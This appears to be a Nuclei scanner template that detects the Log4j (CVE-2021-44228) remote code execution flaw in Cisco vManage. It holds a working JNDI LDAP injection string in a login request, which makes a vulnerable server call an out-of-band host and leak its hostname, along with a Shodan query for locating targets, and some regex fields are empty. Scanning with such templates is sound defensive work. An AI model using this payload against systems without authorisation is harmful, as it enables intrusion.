69 lines
1.9 KiB
YAML
69 lines
1.9 KiB
YAML
id: cisco-vmanage-log4j
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info:
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name: Cisco vManage (Log4j) - Remote Code Execution
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author: DhiyaneshDK
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severity: critical
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description: Cisco vManage is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. More information is available in the cisco-sa-apache-log4j-qRuKNEbd advisory.
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reference:
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- https://www.tenable.com/plugins/nessus/161212
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"vManage"
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tags: log4j,cisco,tenable,cve,cve2021,rce,jndi,kev,oast
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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@timeout: 20s
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POST /j_security_check HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&j_password=admin&submit=Log+In
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: word
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part: body
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words:
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- '<title>Cisco vManage</title>'
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- type: regex
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part: interactsh_request
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regex:
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extractors:
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- type: kval
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kval:
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- type: regex
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group: 2
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regex:
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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part: interactsh_request
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